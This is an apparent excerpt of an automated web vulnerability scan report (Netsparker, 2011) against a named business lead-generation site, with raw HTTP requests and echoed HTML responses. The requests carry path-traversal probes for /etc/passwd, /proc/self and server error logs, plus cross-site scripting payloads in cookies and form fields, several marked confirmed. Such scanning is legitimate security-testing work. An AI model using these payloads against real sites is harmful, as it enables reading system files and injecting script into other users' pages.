Cookie: OAVARS[../../../../../../../../../../proc/self/fd/2\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Content-Length: 229
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

company=3&companyServices=3&email=netsparker%40example.com&firstName=Smith&iusrc='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x00045F)%3c%2fscript%3e&lastName=Smith&parentPage=3&phone=3&src=aboutUs&Submit=3&url=3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:20:56 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=5B13041B61AC1A066DBD076214A79EFB; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content=""/> <meta name="description" content=""/> <meta name="robots" content="index; follow"/> <title></title> <link href="/css/reset.css" rel="stylesheet" type="text/css"><link href="/css/grid.css" rel="stylesheet" type="text/css"><link href="/css/newstyle.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/jquery-1.2.1.js"></script><script type="text/javascript" src="/js/ajax.js"></script><script type="text/javascript" src="/js/ajax-dynamic-list.js"></script><script type="text/javascript" src="/js/default.js"></script><script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {}</script></head><body><div class="container"> <div class="wrapper"> <div class="header"> <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value=""> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('White Paper Form',0,'')" alt="" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerAdvertiseActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div> <div class="clear"></div> <div class="grid_5 aboutUs" style="margin-left:13px;margin-top:20px;"><a class="secondaryAction" style="margin-left:0;text-decoration: none;"><strong>About InsideUp</strong></a> | <a href="management.html" class="secondaryAction">Management</a> | <a href="pressRelease.html" class="secondaryAction">News Releases</a> | <a href="careers.html" class="secondaryAction">Careers</a> | <a href="contactUs.html" class="secondaryAction">Contact Us</a></div>
<div class="grid_5 aboutUs" style="margin-left:13px;margin-top:25px;"><span>Use InsideUp to Acquire New Business Service Customers</span></div>
<div class="clear"></div>
<div class="grid_1 aboutUs" style="margin-left:13px;margin-top:25px;">
<p>Founded by performance-based marketing, online advertising and lead generation experts, InsideUp operates an online lead generation platform that's dedicated solely to serving the needs of business service providers and their potential customers. InsideUp's online media network, dynamic business-matching lead generation system and leading-edge marketing practices provide business service firms with ready-to-buy qualified and verified sales leads, all delivered in real time.</p>
<p>InsideUp's platform also helps companies who are seeking business services to locate the right service provider for their specific needs. Companies seeking business services use InsideUp's online platform to access helpful vendor selection tools and content plus pricing and feature comparisons from several service vendors. Companies receive competitive bids from only pre-screened, high-quality vendors who meet their specific business needs.</p>
<p>This is all made possible by InsideUp's unique, proprietary platform, which combines next generation business-matching and prospect-profiling technologies with powerful search engine, social media and lead generation technologies.</p>
<p style="margin-bottom:15px;">Clearly most business service providers need a cost-effective and qualified pipeline of fresh sales prospects who are actively interested in what they sell. These providers are keenly interested in all sales prospects who can be converted into long-term, satisfied customers. InsideUp puts these business service providers into direct contact with prospects who are actively in the marketplace to purchase the type of services they provide.</p>
<img src="/images/party-links.jpg" alt="Links" border="0" usemap="#Map">
<map name="Map">
<area shape="rect" coords="2,1,184,64" href="https://twitter.com/VendorSourcing" target="_blank">
<area shape="rect" coords="198,1,379,63" href="http://www.youtube.com/insideupvendors" target="_blank">
<area shape="rect" coords="390,1,575,60" href="http://insideup.com/blogs/b2bsourcing" target="_blank">
</map> </div>
<div class="grid_4">
<div class="aboutUsForm" >
<form method="post" action="/whitePapaper.html"> <input type="hidden" name="src" value="aboutUs"> <input type="hidden" name="iusrc" value="'"--></style></script><script>netsparker(0x00045F)</script>"> <input type="hidden" name="parentPage" value="3"> <table width="284" border="0" cellpadding="0" cellspacing="0" style="background-color:#ededed;"> <tr> <td colspan="2" class="head"> To get more information and receive a free copy of white paper "What Every Business Service Marketer Should Know about Online Lead Generation," simply complete the form below: </td> </tr> <tr> <td style="width:100px;">First Name</td> <td style="text-align:left;"> <input name="firstName" type="text" value="Smith"/> </td> </tr> <tr> <td>Last Name</td> <td> <input name="lastName" type="text" value="Smith"/> </td> </tr> <tr> <td>Company</td> <td> <input name="company" type="text" value="3"/> </td> </tr> <tr> <td>Phone Number</td> <td> <input name="phone" type="text" value="3"/> </td> </tr> <tr> <td>Email Address</td> <td> <input name="email" type="text" value="netsparker@example.com"/> </td> </tr> <tr> <td>Website</td> <td> <input name="url" type="text" value="3"/> </td> </tr> <tr> <td>Your Company's <br> Services?</td> <td> <input name="companyServices" type="text" value="3"/> </td> </tr> <tr> <td>..

- /whitePapaper.html

/whitePapaper.html CONFIRMED

http://www.insideup.com/whitePapaper.html

Parameters

Parameter	Type	Value
company	POST	3
companyServices	POST	3
email	POST	netsparker@example.com
firstName	POST	Smith
iusrc	POST	3
lastName	POST	'"--></style></script><script>alert(0x000472)</script>
parentPage	POST	3
phone	POST	3
src	POST	aboutUs
Submit	POST	3
url	POST	3

Request

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:21:03 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=DAEFBAB4A2D8F10743C2D4C4E69B6524; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content=""/> <meta name="description" content=""/> <meta name="robots" content="index; follow"/> <title></title> <link href="/css/reset.css" rel="stylesheet" type="text/css"><link href="/css/grid.css" rel="stylesheet" type="text/css"><link href="/css/newstyle.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/jquery-1.2.1.js"></script><script type="text/javascript" src="/js/ajax.js"></script><script type="text/javascript" src="/js/ajax-dynamic-list.js"></script><script type="text/javascript" src="/js/default.js"></script><script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {}</script></head><body><div class="container"> <div class="wrapper"> <div class="header"> <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value=""> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('White Paper Form',0,'')" alt="" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerAdvertiseActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div> <div class="clear"></div> <div class="grid_5 aboutUs" style="margin-left:13px;margin-top:20px;"><a class="secondaryAction" style="margin-left:0;text-decoration: none;"><strong>About InsideUp</strong></a> | <a href="management.html" class="secondaryAction">Management</a> | <a href="pressRelease.html" class="secondaryAction">News Releases</a> | <a href="careers.html" class="secondaryAction">Careers</a> | <a href="contactUs.html" class="secondaryAction">Contact Us</a></div>
<div class="grid_5 aboutUs" style="margin-left:13px;margin-top:25px;"><span>Use InsideUp to Acquire New Business Service Customers</span></div>
<div class="clear"></div>
<div class="grid_1 aboutUs" style="margin-left:13px;margin-top:25px;">
<p>Founded by performance-based marketing, online advertising and lead generation experts, InsideUp operates an online lead generation platform that's dedicated solely to serving the needs of business service providers and their potential customers. InsideUp's online media network, dynamic business-matching lead generation system and leading-edge marketing practices provide business service firms with ready-to-buy qualified and verified sales leads, all delivered in real time.</p>
<p>InsideUp's platform also helps companies who are seeking business services to locate the right service provider for their specific needs. Companies seeking business services use InsideUp's online platform to access helpful vendor selection tools and content plus pricing and feature comparisons from several service vendors. Companies receive competitive bids from only pre-screened, high-quality vendors who meet their specific business needs.</p>
<p>This is all made possible by InsideUp's unique, proprietary platform, which combines next generation business-matching and prospect-profiling technologies with powerful search engine, social media and lead generation technologies.</p>
<p style="margin-bottom:15px;">Clearly most business service providers need a cost-effective and qualified pipeline of fresh sales prospects who are actively interested in what they sell. These providers are keenly interested in all sales prospects who can be converted into long-term, satisfied customers. InsideUp puts these business service providers into direct contact with prospects who are actively in the marketplace to purchase the type of services they provide.</p>
<img src="/images/party-links.jpg" alt="Links" border="0" usemap="#Map">
<map name="Map">
<area shape="rect" coords="2,1,184,64" href="https://twitter.com/VendorSourcing" target="_blank">
<area shape="rect" coords="198,1,379,63" href="http://www.youtube.com/insideupvendors" target="_blank">
<area shape="rect" coords="390,1,575,60" href="http://insideup.com/blogs/b2bsourcing" target="_blank">
</map> </div>
<div class="grid_4">
<div class="aboutUsForm" >
<form method="post" action="/whitePapaper.html"> <input type="hidden" name="src" value="aboutUs"> <input type="hidden" name="iusrc" value="3"> <input type="hidden" name="parentPage" value="3"> <table width="284" border="0" cellpadding="0" cellspacing="0" style="background-color:#ededed;"> <tr> <td colspan="2" class="head"> To get more information and receive a free copy of white paper "What Every Business Service Marketer Should Know about Online Lead Generation," simply complete the form below: </td> </tr> <tr> <td style="width:100px;">First Name</td> <td style="text-align:left;"> <input name="firstName" type="text" value="Smith"/> </td> </tr> <tr> <td>Last Name</td> <td> <input name="lastName" type="text" value="'"--></style></script><script>netsparker(0x000472)</script>"/> </td> </tr> <tr> <td>Company</td> <td> <input name="company" type="text" value="3"/> </td> </tr> <tr> <td>Phone Number</td> <td> <input name="phone" type="text" value="3"/> </td> </tr> <tr> <td>Email Address</td> <td> <input name="email" type="text" value="netsparker@example.com"/> </td> </tr> <tr> <td>Website</td> <td> <input name="url" type="text" value="3"/> </td> </tr> <tr> <td>Your Company's <br> Services?</td> <td> <input name="companyServices" type="text" value="3"/> </td> </tr> <tr> <td>&am..

- /whitePapaper.html

/whitePapaper.html CONFIRMED

http://www.insideup.com/whitePapaper.html

Parameters

Parameter	Type	Value
company	POST	3
companyServices	POST	3
email	POST	netsparker@example.com
firstName	POST	Smith
iusrc	POST	3
lastName	POST	Smith
parentPage	POST	'"--></style></script><script>alert(0x000499)</script>
phone	POST	3
src	POST	aboutUs
Submit	POST	3
url	POST	3

Request

POST /whitePapaper.html HTTP/1.1
Referer: http://www.insideup.com/aboutUs.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.insideup.com
